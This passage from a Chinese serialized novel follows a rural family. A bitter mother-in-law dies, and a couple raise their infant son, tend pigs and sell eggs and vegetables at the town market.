然而身体有恙,没多久她就弯腰在炕边哇哇吐了出来,再忍着都没用,胃里仿佛一阵阵痉挛抽搐。 裴家其他人在外头吃饭,听见动静,方云、王瑶儿不情不愿放下碗,和裴春艳一起来屋里看。 见地上满是污秽,方云和王瑶儿同时皱眉,王瑶儿还好点,嫁过来后叶金蓉就不再气盛,他没在叶金蓉手下受过磨搓,而方云和叶金蓉因为裴胜一直不对付,闻到那股子味儿后,她用手扇了扇面前,骂道:“真是糟蹋了!” “吃不下去就别吃,好好的饭菜。”方云在门口叨叨着,她瞪叶金蓉一眼,烦的根本不想管,转身就走了。 家里这么多人,一年到头干死了活都挣不下几个钱,靠原先那几亩地撑着,勉强能吃饱,她两个儿子还长个儿呢,天天喊饿,这么好的饭菜,都不如去喂猪,猪还能长几斤肉给他们赚钱。 见裴春艳铲了一锨土进屋拾掇,王瑶儿乐得不管,也坐回桌前了,不然方云那两个饿死鬼儿子,就把菜吃光了,还专挑好菜吃,真是没管没教的,有爹娘跟没有一样。 饭桌上筷子之间起了冲突,一个比一个夹得多,还互相抢,裴虎子和裴胜被打搅了吃饭,气得“啪”一拍桌子,其他人才消停。 等裴春艳收拾完,桌上只剩她半碗稀饭,菜和糙馒头都没了。 * 始终没人提起看病抓药的事,哪怕叶金蓉自己喊来裴胜说,裴胜也用家里没钱的话将她堵了回去。 叶金蓉哪能不知家里境况,她沉默了很久。 钱都在方云手里,王瑶儿再眼馋,因他是方云给裴虎子娶来的,都说长嫂如母,管公中,自然也是方云来,他完全不占理,因此只能和裴虎子偷偷藏点铜板。 在裴春艳回来的第四天,叶金蓉脸色一天阴过一天,只要醒来有力气了,她躺在炕上从裴胜裴虎子骂到裴春艳,再从方云骂到王瑶儿,有时看见两个不和她一条心的孙子,也照骂不误。 就连裴春艳给她端饭、擦脸时,她嗓子哑着,翻来覆去骂裴春艳不孝,可裴春艳就像一根木头,怎么谩骂脸色都不变。 她气急,别人也不理她,连房门都不进,那些村语粗俗话便不管不顾脱口而出,哪里像是对女儿,比仇人还不如。 “早知道,生下来就该摁在尿盆里淹死……” 叶金蓉听见外头动静,知道有人,断断续续的骂声传出来。 院里,挖了野菜回来的裴春艳本来在灶房门口择菜,裴家其他人都去干活了,让她留在家里伺候老不死的。 裴春艳提了竹篮,走到院门前,直接在门槛上坐下,低着头择菜。 太阳照在她身上,总算有了点热意,掩盖了心里麻木的冰冷。 听见牲口打响鼻的动静,她下意识抬头看,裴厌牵着毛驴,拉了车不知往哪里去,车上菜蔬鲜绿,还有个鸡笼,里头塞了好几只老母鸡。 应该是去镇上卖菜卖鸡。 在裴厌看过来之前,她又低下头,忙着自己手上的活。 “阿奶。” 一个清润带着笑意的声音从不远处传来,裴春艳听出是谁,忍不住转头去看。 顾兰时抱了个胖娃娃,正往顾家祖宅里去,只一眼,她就看到那小孩长得白胖又漂亮,有一双大眼睛,身上穿的红色小衣裳绣了很多花,小小的虎头鞋十分精致,脖子前带着长命银锁,显然家里人极为疼爱。 顾兰时提了一篮子新菜,挺沉的,星星又扭着身体不好抱,他顾不上看别处,径直进了祖宅门。 看不见后,裴春艳收回目光。 没一会儿,她进屋给叶金蓉倒水递过去时,不出意外又被骂了两句,想起刚才看到的一幕,她突然开口:“裴厌去卖菜卖母鸡了,菜很多,老母鸡也多,能卖不少钱。” 叶金蓉声音戛然而止。 裴春艳看过去,说:“他过得好,我心里痛快,不为他,也不为我,为你和我爹,还有裴家其他人没过上好日子痛快。” 她平静说完,看见叶金蓉不可置信的神色,突然笑了出来,只是眼里渐渐涌出泪,嘴角再也弯不起来,到最后捂着脸掉眼泪。 第230章 月色柔和静谧,山脚下的院落没有平时那样安静。 后院猪圈前,裴厌和刘大鹅周大良三人都没睡觉,几个火把或举或插在旁边,照亮了猪圈里的情形,圈里铺了不少干净稻草,老母猪躺在上面比在地上强多了。 白天时老母猪就有了下仔的迹象,裴厌都没有出门,一直候到了现在,猪叫声变大以后,随着水迹血迹出来的,是一头被裹在其中的猪仔。 裴厌最先上去,先擦净猪仔口鼻中的黏糊水液,见猪仔叫起来,总算放了心。 狗被关在院门外,听见动静不由焦躁起来,不断吠叫。 想起星星,裴厌让刘大鹅把院门打开,先把狗放进来,起码在后院,看见人以后,狗就不会乱叫。 院门一开,狗纷纷往后院跑,对它们来说,夜晚看家护院是本能,有什么异动,不亲眼见着了,是放不下心的,要么异动消失,但猪下仔要许久。 东屋。 顾兰时借着从窗外透进来的光亮,手肘撑着上半身抬起,看了看睡在里侧的星星。 还好,睡得正熟,没有被吵醒。 他又轻轻躺回去,心里惦记着母猪下仔的事,但又怕离了人,星星万一被惊醒,没有被立即抱起拍哄的话,星星会大哭不止。 想想有裴厌在后面,足够放心,顾兰时打个哈欠,便放心闭上眼睛睡觉。 觉其实睡得并不安稳,模模糊糊听见脚步声后,顾兰时睁眼,因屋里昏暗,又不甚清醒,一时间不知道什么时辰了。 直到裴厌推门进来,他低声问道:“下完了?” “嗯,八只,都活着,给圈里点了火,刘哥在后头看着。”裴厌同样压低了声音。 “什么时候了?”顾兰时声音困倦,忍不住又说:“八只,不错了,正好老母猪能喂养过来,去年十二头,都是吃奶的好手,母猪显然有些吃力。” “再有半个时辰天亮。”裴厌抱起放在箱子上的铺盖卷,窗下放了张竹榻,他走过去把褥子铺好。 忙到这会儿,他身上肯定没有顾兰时和孩子干净,将就着睡一觉,到晌午太阳大了,得烧锅水洗洗。 “刘哥一个人看着?”顾兰时又低声问。 裴厌说道:“我让周哥陪着,两个人说说话也不发困,他说不用,一个人就成,让周哥先去睡,半个时辰天也就亮了。” “白天让他睡一阵子,也熬了一晚。” “嗯。”顾兰时应一声,低低说:“白天我没事到后院看看就行,你也多睡会儿。” 正说着话,听见星星哼哼唧唧发出不满的呓语,显然是被大人说话声打搅到了美梦。 两人很有默契,不再出声了,不一会儿,星星自己安静下来。 * 一大清早还是有点冷,顾兰时加了件衣裳。 见炭盆里的火没灭,他想了下,又给添了几根柴,猪仔太小,又没衣裳裹着,暖和些总不会出错。 八只猪仔都是上半身趴在老母猪腹部,吃过奶睡着了,有两只嘴里还叼着猪乳。 地上血迹污秽已经清干净,能看见一些湿痕,老母猪躺着,肥肚子不断起伏,周大良正在煮猪婆奶,等会儿晾温了让它喝一些,等歇好了,再喂猪草猪食来得及。 灰灰从通道那边跑过来,一个冬天过去,它身板又壮又厚实。 母猪猪仔都在睡,想来没有问题,老母猪不是第一回下仔了,不过圈里有火,顾兰时想了下,拍拍灰灰脑袋,从圈门栅栏指进去:“看着,别叫压到猪仔。” “呜——”灰灰歪着脑袋看过去,眼睛上方皱了皱,像是皱出来一点眉毛。 顾兰时看笑了,又揉揉它耳朵,也不知道它在想什么,还学人皱眉。 家里的狗都能听懂让看着家当的话,因此他离开以后,灰灰依旧在后院待着。 * 雷声像是被捂在厚厚的云层里,又像是离得很远,只能听得闷声隆隆。 雨水哗啦啦落下,在河面上打出一圈圈涟漪,雨势越大,涟漪变得破碎。 大水牛和狗跑起来,顾兰时捡了根草藤当做鞭子,挥舞着在后面撵,他用左手挡着头顶,发现无济于事,也就不再掩耳盗铃遮挡了。 其实也不用他撵牛,牛自己知道往家里跑,大黑就更不用说。 一牛一狗一人前后脚进了篱笆门,雨势来得及,水牛还好,本来就喜水,顾兰时衣裳头发都湿了。 进门后,像是到家安心了,牛不再奔跑,慢悠悠甩着尾巴沿着石子路旁边走,时而停下来吃一口离得最近的菜。 顾兰时没管它,越过去飞快跑进堂屋才停下。 大黑比他更快,已经在门前甩了几下水。 幸好星星睡着了,没有背着孩子出去放牛,不然连孩子也要淋湿。 雷声刚响起的时候,见落下的雨点小,以为下大得一阵子,因此出去找牛的时候,他没有穿蓑衣戴斗笠。 换了衣裳擦干头发,顾兰时蹲在泥炉前添了几根柴,侧头烤烤火,头发再擦,一时半会儿也干不了。 他起身撑了伞,又去灶房用大锅烧水,裴厌几个也在外面,眼下还没见踪影,等会儿跑回来估计比他淋得还要湿,最好还是洗洗头发。 水牛啃了一些菜,灰灰和灰仔不停冲它吠叫,顾兰时听见动静,远远在院里呵斥一声,它才不再在菜地旁边流连,跟着狗的步伐跑了几步,又慢下来往后院走,自己进了牛棚。 雨势来得急,原本不怕淋一点小雨的人一改慢悠悠步伐,飞快扛着锄头往家里跑。 裴厌几人陆续进门,果然都湿透了。 回来有屋檐遮雨,门窗挡风,人人都松一口气,不再担心雨势如何。 趁着没换衣裳,裴厌先去后院看了看猪,猪仔已经十天了,死了一只,还剩下七只,再过几天,村里其他人养的猪仔足月了,他打算买三只。 垒的猪圈能养十头猪,今年多了周大良干活,三个汉子出去大量打草,肯定喂得饱。 养十头猪不是什么轻松事,但人多,不会像去年那样太累。 顾兰时烧了水,还煮了姜汤,就算天不冷,也该都喝一碗去去寒。 下雨不出去干活,在堂屋编竹筐也是坐着歇脚。 刘大鹅和周大良都是本分厚道人,常常找活干,因知道裴厌和顾兰时爱干净,他俩也洗了头发,省得雨水闷在头发里味儿难闻。 屋里,顾兰时披散着半干的头发,抱了星星在窗前看雨。 “呜——”星星伸出小胖手,肥嘟嘟连手腕都没有,有几滴雨水随风飘进来落在他手上,他快速收回手,睁大了眼睛,低头瞧自己手背。 “下雨了,这是雨。”顾兰时笑眯眯和孩子说话,站一会儿觉得抱着小胖墩有点累,见竹榻被挪到旁边,他把孩子放上去。 星星已经会坐了,胖乎乎一团,他没穿鞋子,两只小手抓着肉脚,冲着顾兰时笑。 顾兰时拿起布巾又擦了擦头发,等裴厌进来,他开口道:“给擦擦口水。” 裴厌看一眼胖儿子,拿了手帕过来,星星不配合,转过脸躲避,还啊啊呜呜不知道在说什么,口水越发多,连成一条线滴下来,落在他自己腿上。 “真埋汰。”裴厌给擦干净后,笑着捏捏儿子肉胳膊。 平时带孩子还是顾兰时更多,眼下得了空,他抱起儿子玩耍逗乐。 星星笑声不断,爹爹阿姆都陪着他玩儿,高兴的不得了。 * 听见裴家院里传来的哭声,邻居从屋檐下探头,侧耳去听动静,雨声中,男的女的都哭起来,哭娘的喊声也响起来,便明白怎么回事了。 裴春艳站在炕边呆愣愣的,方云和王瑶儿扑过来,不小心撞到了她,掐着嗓子假惺惺哭泣。 叶金蓉闭了眼断了气,再无任何气息。 裴胜和裴虎子没掉多少眼泪,但还是低头用手擦眼睛,嚎了几声。 平时再怎么,亲娘走了,连哭声都没有,让村里老人知道了,肯定会骂。 前几天王毛儿来了一趟,说是来看看岳母娘,顺便接裴春艳回去,家里那么多活,少个人有点忙不开,照顾十天半月就行了,已经尽了孝心,哪有一待就是成月的。 谁知进屋一看,叶金蓉形容枯槁,瘦的只剩一把骨头,睁眼也不多,王毛儿到底有点年纪,心里有了底,因此没提接裴春艳回去的事,自己吃了顿饭就走了。 人家是裴春艳亲娘,这幅模样,眼瞅没几天了,再不让照顾,恐怕日后裴春艳会埋怨他。 方云哭声挺大的,王瑶儿暗暗翻个白眼,也嚎起来。 说实在的,他确实对叶金蓉没什么感情,相处并不多,不过人已经走了,哭几声是应该的。 见裴春艳还愣在那里,像是无法接受这件事,他伸手推了一把,示意对方哭两声,不然,要是被人知道做女儿的哭都不哭,叶金蓉娘家来人都不能作罢。 被她气死的吗? 不应该,从那天起,叶金蓉再没说过几句话,不像是被气到了的模样。 吓死的?也不像。 裴春艳愣愣的,最后突然想起来,她娘病了,那就是病死的。 和她爹一样,病死之前都很瘦,连话也说不出,眼神渐渐散了。可即便如此,十一二天之前,还没那样瘦。 她又想起来,也是那天起,她娘就很少吃东西了,即便挣扎也坐不了多久,只能躺在那里让人喂饭,可即便喂,也吃不进去几口。 吃不了饭,可不就瘦了。 直到被王瑶儿推了一把,裴春艳突然回神,耳朵听见了哭声,她意识到自己也要哭,于是上半身和方云王瑶儿一样,伏在炕上,低着脸张开嘴。 喉咙里被什么堵住,发不出声音,于是她闭上眼睛,先学着方云干嚎一声。 那一声嘶哑难听,完全不像是她这个年纪的人能发出来的,然而嗓子像是通了,她渐渐哭出来,直至眼泪流成河,淹进心里,那种感觉难以言明,她根本不知道是什么,哭到瘫软无力。 * 叶金蓉死了,裴家办起丧事。 顾兰时这几天没有抱星星来村里串门子,自己也不大去祖宅了,祖宅离裴家近。 听他娘和桂花婶子闲聊,说裴家就数裴春艳哭得最惨,可怜见的,天天儿眼泪都止不住。 至于裴厌,他照旧赶车去卖菜,也懒得从河道那边绕路,径直从裴家门前路过。 回来的时候被裴家亲戚看见,还有叶金蓉娘家人,即便心里有不忿的,觉得娘死了,亲儿子再怎么断了亲,也该去哭两声,不哭也就算了,天天晃里晃荡路过,仿佛故意一样,真够不孝的。 但没人会出这个头,裴厌行事脾气如何,他们不是不知道,只敢在心里唾骂两句。 第231章 雨后初晴,裴厌戴了斗笠,绳结绑在颌下,踩着泥泞下山后,一抬头看见虹彩,那张清瘦的脸露出来,右半边俊如玉。 他目光微怔,许久没看见了,那一抹七彩虹光分外漂亮。 背上竹筐里大大小小的菌子沾着雨后甘露,新鲜极了。踩着未干的泥泞,裴厌再次迈开步伐。 风吹来,林子里有水滴随着叶片抖动掉下,落在斗笠上,肩头不免也湿了,但太阳好,衣裳很快就能干,不用换下。 清风微凉,似有一阵清气涌入肺腑之中,继而周身都舒泰。 叶金蓉死了,和裴兴旺都没活到年老寿长,叶金蓉死之后,消息还没传到后山,裴厌穿了蓑衣去水田转悠,就看见裴家门口挂了丧幡,又有人在哭娘。 他没停下,垂了眉眼继续往前,当时下雨,变小的雨幕在斗笠之外飘落,他走出去很远,才像是回神一般,站在原地不动了。 裴兴旺死的时候他已经和顾兰时成亲,那时日子艰难,他知道以后心里没多少念头,忙着给人做工挣钱,有夫郎有家要养,分不出别的心神给外人。 如今叶金蓉一死,两个他曾经最恨的人都死了,那些萦绕在幼时记忆里的打骂苛待,时而变得清晰,黑压压笼罩在曾经的自己身上。 意识到叶金蓉真的死了以后,记忆忽然远去,变得模糊。他从小记性就好,脑海里却像是起了雾,将那些黑暗阴冷的日子隔开。 而到叶金蓉下葬之后,世上再无这一号人,他顿感无趣,原本缠绕在心头的一点郁气彻底消散。 那几天顾兰时小心翼翼的,他本来想说自己不在乎,不用顾忌,可话到嘴边,看着夫郎担忧的清润目光,扯谎的话就说不出了,抱了人一会儿,方觉安慰。 郁气再无,看着他们家兰时和星星,鲜活明媚映入眼中,成了再深刻不过的记忆。 明明只是大的抱着小的玩耍笑闹一副寻常画面,偏偏觉得心里像是有什么淌过,也不知从哪里来的,绵绵不绝,再无任何冰冷空洞。 裴厌走得快,地上湿泥水坑丝毫没有阻挡他的步伐,顾兰时昨天念叨说想吃菌子炖鸡了,他今天上山运气好,捡的多,不但够炖鸡的,还能炒着吃,很鲜。 星星已经六个多月,长了一颗小小的下牙出来,这两天开始吃一点米汤糊糊了。 没办法,大人吃饭的时候他要是没睡觉,哪怕吃了乳果,一看见大人嘴巴动,目不转睛盯一会儿,张着嘴巴流口水,意识到是吃的东西后,他小手就指着饭菜啊啊叫,要么就伸手去扣他俩嘴巴,想看看阿姆和爹爹到底在吃什么。 这么点的奶娃娃竟也嘴馋。 苗秋莲和方红花过来转的时候,见星星要吃,说这是长大了,得慢慢喂些软烂的饭和一点汤水,孩子就慢慢学会吃饭了。 * 不知不觉,夏日深了,河中浮萍绿如波涌。 成群成群的鸭子被赶出来游水进食,河岸边不少孩子或打草或嬉闹,也有放牛顺便看鸭子的。 河岸很长,十来头牛沿着岸边分散,各自占据一片地方,要么吃草要么泡在水里度夏。 有小孩在河边戏水,还有大点的,仗着水性好,脱光了跳进水里,跟水猴子一样游来游去,甚至几个联合起来,一人抓一角渔网,潜到水中玩耍网鱼,还真给他们捞上来一条。 有大人找来,看见在游水,骂声顿时响彻岸边。 光屁股的小子爬上岸,一边慌里慌张穿衣裳,一边缩着脑袋躲避打来的手,生怕像前人那样,露着牛牛被爹娘追得到处跑,也太没脸了,因此哪怕背上脸上挨几下,都不愿乱窜。 有的小孩不会水胆小,只在刚没过脚踝的浅水处蹚水,腿脚被河水冲刷,带走了夏日热意。 离人群较远的地方,一头大水牛浑身都是水,背上还有从河中浮起时挂上的水草,它正低头吃草。 而再往上游走,进了树林里,离人群更远,顾兰时坐在石头池子前用棒槌捣衣。 这边有树荫遮挡,池子铺满石头,水清澈,夏天洗衣裳很合适。 野澡珠的白沫子飞溅,夏衫轻薄,洗起来容易,大人懂得留神,不会蹭的太脏,孩子拉尿会弄脏衣裳,不过衣裳小,洗起来也不费劲。 没多久,顾兰时端起一盆洗好的衣裳,把棒槌也放在盆里,先往树林外去看牛,见它好好的,于是往家里走。 还没进篱笆门呢,裴厌抱着睡醒哭个不停的星星出来找他。 “怎么了?”顾兰时放下木盆,抱过儿子拍着哄,胖小子越来越沉了,只穿个红肚兜,露出白藕节一样圆滚滚的胳膊和腿,肚皮也是圆的。 “刚醒,哄不下,见你不在,一个劲要出来找。”裴厌无奈道。 小孩子就是这样,昨天还黏他呢,谁抱都不行,今儿就变了心。 顾兰时哄两下,又问:“尿过了?” 裴厌端起地上木盆,跟他一起往进走:“还没。” 顾兰时便在石子路旁停下,蹲下熟练地端起星星,嘘嘘吹两声,星星哭声小了一点,扭了几下身子不想尿,但被阿姆压制住了,他哼哼唧唧哭着,很快尿了出来。 裴厌在旁边等着,今天他在家,顾兰时就趁势去河边洗衣裳了,不然在家里还要打水倒水。 尿完后,星星揉了揉眼睛,不再哭了,眼尾还挂着泪珠,小拳头肉肉的,直看得人心喜。 外头太阳大,三人很快进了院子。 裴厌在外头晾衣裳,顾兰时抱着儿子先进屋,炕上铺了竹席,孩子的小薄被胡乱掀在一旁。 抱了这一会儿,顾兰时觉得热,就把星星放在炕上。 见儿子肉墩墩坐在那里,他眉眼微弯,笑道:“我们星星坐得越来越好了,真厉害。” 星星经常被夸,似乎知道“厉害”两个字是说他,乐得咯咯笑,小下巴肉肉的,堆出两层肉,跟没有脖子一样。 他高兴得很,两手撑在席子上,听见阿姆又夸他,小手啪啪拍打在席子上,高兴至极时,小屁股也颠起来再落回去,一身肉都在抖。 真傻。 顾兰时逗了一会儿孩子,哪怕他自己也笑眯眯的,还是忍不住心想,星星傻乎乎的,说几句话就高兴成这样。 “咘——咘咘——”他抓起星星肉胳膊,嘴巴贴在儿子肉上吹气,星星就更高兴了。 比起肉乎乎的小肚子和小屁股,胳膊显然要细一点,有时候他更喜欢在孩子肚皮和屁股上吹几下。 儿子圆乎乎的,哪里都好看,如今小手更有劲了,有时候会揪着大人散落下来的头发,还挺疼,得赶紧让松手。 顾兰时再亲亲小崽儿肉手,发现星星手心湿乎乎的,估计是睡觉热的,于是拿过手帕给擦了擦。 裴厌晾好衣裳进来,看见儿子穿着红肚兜,跟年画上的娃娃更像了,眉眼中都是笑意。 星星的肚兜是顾兰时给绣的,好几条,这一条是红的,绣了绿色的莲叶和白色带粉的莲花,做得分外漂亮。 他还有两条荷绿色的小肚兜,绣着鱼儿和虾蟹。 顾兰时抓起儿子小脚闻一下,笑着拍拍肉脚丫:“臭星星,臭脚脚,都酸了,也该洗洗。” 天一热,孩子出汗多。裴厌也过来闻闻,星星小脚丫被轮流闻,他以为是在玩儿,笑声都大了,根本没听懂臭臭是他。 随后裴厌兑了半盆温水,打湿手帕给星星擦手擦脚丫。 孩子皮肉嫩,手帕软和些,用着更合适。 “过两天割麦,明天买两吊肉回来。”顾兰时说道,有井了,肉吊在井里不会臭。 大黑跑进来,用脑袋顶开半掩的门,看了一眼里面,见人都在,扭头又走了,顾兰时直起腰从窗户看出去,见它往院外走,估计是去找牛了,灰仔还屁颠屁颠跟在后面,他脸上笑意更甚。 “行。”裴厌答应道,忍不住捏捏儿子擦干后的肉脚。 他有时候看着星星觉得很不可思议,这么个小小的小人,会笑会哭,手脚俱全,还能听懂人夸他。 顾兰时拿起蒲扇扇风,说:“今年去地里拉麦子,不用毛驴跑了,水牛力气更大,碾场的话,牛和毛驴换着来,都能歇歇。” 裴厌回过神,确实,今年多了水牛这个帮手,毛驴可以歇一歇,水牛正值青壮,力气大精力足,村里有气性大的牛,农闲时没有活干,还会发脾气。 天热,刚才又尿过,顾兰时喂星星喝了一点温水。 热夏苦人,裴厌一会儿给星星扇蒲扇,一会儿又对着顾兰时扇风,自己倒是能耐得住。 * 夏夜虫鸣声不断,草丛中点点荧光飞舞,村庄安静了,只留白日些许余热在外头的土地上。 月色撩人,渐渐取代了炎日的威力,夜幕笼罩下,大地归于温凉。 而屋子里,热意却难消。 顾兰时咬着唇竭力克制,本该开着透气的窗户严实闭上,生怕动静泄露。 炕里的小人早睡熟了,刚睡着时因为热,蹬掉了被子,幸好穿了肚兜。 感到夏夜凉爽以后,已经睡了的顾兰时连眼睛都没睁,摸索着又给星星盖好薄被,不想裴厌压根儿就没睡着,显然眼馋肚饱惦记很久了,觉察到他动静,一声不吭行动起来。 顾兰时推了几下,没有推动,也被撩拨起来,不由多了几分默许的意味。 成亲好几年,一个举动就能知道对方在想什么,尤其在这上,裴厌闷头不言语,偶尔能听见他粗而重的喘息。 热意从内里散发,汗水淋漓,顾兰时舒服时会轻哼几声,对身上人来说,无疑是最大的鼓舞。 第232章 似火山榴映小山,繁中能薄艳中闲。一朵佳人玉钗上,只疑烧却翠云鬟。 浓绿繁叶之中,火一样红艳的石榴花悄然在五月绽放,浓红重绿,为夏日添上一抹艳丽的色彩。 顾兰时抱着星星看石榴花,同样是五棵石榴树,今年开花比去年多,说不定,到了八月中秋时,就能吃到石榴果了。 花朵深红,层层叠叠绽开,宛如热烈的火焰。 星星满八个月了,胖乎乎又白净,大眼睛亮亮的,天热穿个红肚兜绿肚兜,很招村里老人喜爱,都说是有福气的娃娃。 他伸出小胖手,捏住花瓣想拽下,树枝被拽得拉长伸直,他身子整个都在往后用力,小屁股一扭一扭。 “你怎么力气这么大。”顾兰时忍不住说道,伸手帮儿子拽下那朵花,树上有可能少了一颗石榴。 他抱过堂侄女,小小软软的,娇娇气气很惹人爱,馨儿八个多月时也一样,哪里有星星这胖小子的力气,跟小牛犊似的。 “像不像小灯笼?”顾兰时笑眯眯和儿子说话。 “唔。”星星低头看自己手里的石榴花,听见声音抬头看阿姆,小嘴巴张着胡乱喊了几声,也不知在说什么。 “你叫阿姆,阿姆。”顾兰时试图让儿子学说话。 星星呜哩哇啦学语,没一个蒙对的。 顾兰时只得放弃,还没到说话的时候,不过也不妨碍他继续跟星星瞎聊。 “今年过年买一些小红灯笼,和络子一样挂在树上,还有花灯,夜里点亮肯定好看,要是有雪的话,就更漂亮了,和我们星星一样漂亮,对不对?” 被询问到的小人没有回答,正忙着把石榴花往嘴里塞。 顾兰时眼疾手快,立马从儿子嘴里掏出来。 星星口水流出来,滴在他手上,他噫——一声,又是嫌弃又是笑,在星星胸前衣裳上擦了擦手,反正穿一天就得洗,也是星星自己的口水。 花沾了口水,也怕孩子再啃,顾兰时把手里的残花丢远了。 灰仔看见,一溜烟跑过去,还以为是什么吃的,闻了闻,甚不感兴趣,扭头走了。 回到院里,顾兰时一手抱孩子,屈膝另一手摸了摸大木盆里的水,才半早上,太阳没有那么强,水还没晒热。 见阳光晃得星星眯眼睛,他笑着直起身,进屋躲开太阳和孩子玩耍。 刘大鹅和周大良在水田那边干活,顺便牵了牛去放,裴厌一大清早去卖菜卖鸡蛋了,还没回来,家里只有他俩和懒洋洋睡觉的狗。 * 宁水镇。 裴厌边走边吆喝,镇子的每一条街道每一条巷子,他几乎都跑熟了。经常来卖货,又不欺客,倒是混了些熟脸,生意还不错。 给酒楼和酒馆送了蛋和菜以后,又到两处较富裕的巷子转悠一阵,卖出去百十来个鸡蛋。 天热,很多人不愿买多了,不然放坏了糟蹋钱。 鸡蛋恢复了常价,三文钱一个,带来的五只老母鸡和三只鸭子悉数被买走,老母鸭是从村里收来的,从中赚两三文的差价。 出门时他想着到府城再卖,说不定能多卖几文,不过别人既然看见了,他也没找由头不卖,反正自己不亏就是了。 新养的小母鸡还没下蛋,有去年的四十六只老母鸡,再加上西边鸡圈剩下的二十来只老母鸡,陆续还下几个蛋。 即便炎热,不利母鸡下蛋,每天也能收二三十,十天攒三四百枚鸡蛋不再话下。 前天给府城送了二百过去,转悠到城北时,照例询问一家酒楼老板要不要鸡蛋,后厨正巧缺了,就从他手里要了一百枚鸡蛋,府城的市价是四文,他添了饶头,多给了十枚。 即便没谈成长久的生意,混个熟脸也是好的。 今年额外买了牛,一百两家底余下八十两,放在箱子外的钱倒是有一些,但没攒够二十两,他俩就没往里头放,留在手中,万一有别的花用,手头那七两多银子就足够使。 这几个月又赚着,边花边攒,一个月里,鸡蛋行情好了能赚三两,差了也在一两上下,菜蔬要是能卖一千文,也就是一两左右,裴厌和顾兰时都挺满意,多卖的话自然更高兴。 除了这些以外,今年有两个长工,裴厌空闲较多,没事就上山挖挖草药,什么狼毒、马桑、驴蹄草,还有白屈草、苦参之类的,不但能入药,还可防治虫害,是一些药铺里常收的药草。 农人种地种菜,总能碰上各种虫害,有的药铺厉害,不但给人看病抓药,连治虫的药粉方子都能开出来,生意常年都不错。 不过这些草药在山上都挺常见,不是什么珍稀药材,靠斤数分量倒是能卖点钱,陆续赚到了一些,还逮到几条毒蛇,但蛇胆没有冬天那么值钱。 夏天毒蛇游动灵活,顾兰时拦了两回,裴厌便只是遇到才抓,不会特地去找踪迹。 因想着盖房的事,顾兰时也生了,不再那么馋零嘴吃,便俭省了些,星星如今还小,顶多就是做衣裳要买布,吃的乳果又不要钱。 每个月月底,刘大鹅工钱一百八十文,周大良一百五十文,共三百三十文。 裴厌从不拖欠,都是月底那天就给,这三百文工钱对他来说又不艰难,何至于为难人家。 算一算,今年杂七杂八卖各种东西,赚了快九两了,加上手里没怎么花的七两多,已经十六两出头。 “卖菜的,可有笋子?”一个老太太从后面追出来问道。 “有。”裴厌应道,牵着毛驴掉转方向。 买卖生意不大,连富贵的边儿都沾不上,但能让一家子吃穿不愁,已经足矣。 * 傍晚。 太阳还没落山,裴厌抬了大木盆进屋,盆里的水晃荡,已经晒热了,没有丝毫冷意,甚至太阳最大时,水都有点烫。 到这会儿,水温热正适合给星星洗澡。 炕上的胖娃娃只穿了肚兜,看见水盆以后,高兴得不行,八个月的小崽儿,越发壮实了,腿脚胳膊更有利,这两天挣扎着能往前爬几下。 “行了,就放这里。”顾兰时一抬头,见星星原本坐着,硬是急得往前扑,趴在炕上了,幸好刚才把孩子放在了里侧。 不会爬的时候还好,一旦学会爬了,要是没遮没挡,留孩子独自在炕上都不放心。 天热,洗惯以后,星星也爱水,一看见木盆就知道要坐进去了,还能扑腾玩水。 裴厌离炕沿近,他先给星星解开肚兜绳子,笑着抱起光溜溜的小胖墩,过来往水里慢慢放。 星星小脚丫最先挨到水,已经迫不及待了,一坐下,温热的水往高溢了溢,水面晃荡,到了他肉乎乎的肚子中间。 “啪” 有劲儿的小手拍在水面上,溅起水花,顾兰时连忙侧头躲开,笑着摇摇头,臭小子。 星星咯咯笑出声,两颗下乳牙又小又白,一咧嘴就露出来。 给儿子洗澡,顾兰时和裴厌都很乐意,小崽儿浑身都是圆滚滚肥嘟嘟的,那叫一个喜人。 裴厌在背后,顾兰时在前,两人都拿了手帕在水中打湿,不断往星星身上撩水擦洗。 星星坐在盆里捣乱,蹬着腿晃着胳膊,水波晃荡起来,感受到水流的动静,他很高兴,也不知道是不是渴了,竟低头要去喝。 顾兰时赶紧用手托着儿子脸蛋,不让低下去:“拿水碗来,正好晾了半碗。” 裴厌起身去拿水碗,过来让星星喝了两口。 解了渴星星才不再惦记盆里的洗澡水了,顾兰时手还没离开,他又低下头,把胖乎乎的脸蛋往阿姆手里埋。 顾兰时心都要化了,捧着儿子的脸蛋没动,恨不得多亲几口,无奈星星正在洗澡。 裴厌放了水碗,转过身看见两人模样,眉宇间全是笑意。 “咘——” 星星嘴巴贴着顾兰时手心,竟也发出吹气声,只不过口水很快流了出来,黏糊糊在手心。 “噫——”顾兰时笑眯眯嫌弃一声,不再托着儿子肉脸蛋,扶着星星坐好,自己手伸进水里洗了洗。 星星是个爱笑的奶娃娃,听见阿姆声音总是咯咯笑,爹爹在后面给他洗脊背,他也高兴,转头去看裴厌,小手又拍起水,水花溅了裴厌一脸。 裴厌抹一把脸上的水,也不恼,大手撩一些水,给儿子也洗了一把脸。 星星呜呜叫,被揉洗了几下脸以后,小嘴噘着,噗噗噗往外吐不小心吃进嘴里的水。 “刚还要喝,这会儿嫌弃上了。”顾兰时给他搓搓小手和胳膊。 孩子小,不能洗太久,不然水要凉了。 裴厌抱起星星,顾兰时很快给儿子擦干全身,随即又给穿上肚兜。 星星趴在炕上,小屁股肉乎乎的,他忍不住轻拍了两下,这小人,连屁股都喜人,也不知怎么长的。 裴厌倒了水进来,见他俩玩耍,自己看一会儿,听见刘大鹅和周大良喂完猪牛,说一声就出去了,院子里的家伙什早就收拾好了。 又是一年抓蝎子的时节,狗儿不用喊,想必已经在树林前等着了,花惜霜有了身孕,他今年捉毒虫的心更热。 四个汉子一起进山更放心些,裴厌今年不止抓毒蝎,还找到两处蜈蚣多的山沟,价钱和蝎子差不多。 刘大鹅和周大良住在这边,看着裴厌去抓毒虫,也有些心痒,期期艾艾说了一回,夜里也想出去,只抓一会儿,早早就回来了。 裴厌一想,真论起来,进山多两个人是没坏处的,就算一起去抓蝎子蜈蚣,一条山沟那么长,毒虫也不少,不至于被抢了财路,有事也好有个照应。 第233章 黑云来得很快,不多会儿就遮住了天幕,大滴大滴的雨点噼里啪啦落下,溅在地上很快汇集成汩汩水流。 土腥气、雨水腥气潮湿扑鼻,直到大地彻底被雨水浸湿,到处都是水,腥味才被压散。 暑热气被冲刷,哗啦啦大雨如瀑,下的颇为痛快。 堂屋门前,雨水顺着屋檐流淌下来,一股股如水帘,顾兰时抱着胖星星看大白雨。 雨水溅进来,打湿了脚下地面,顾兰时往后退了两步。 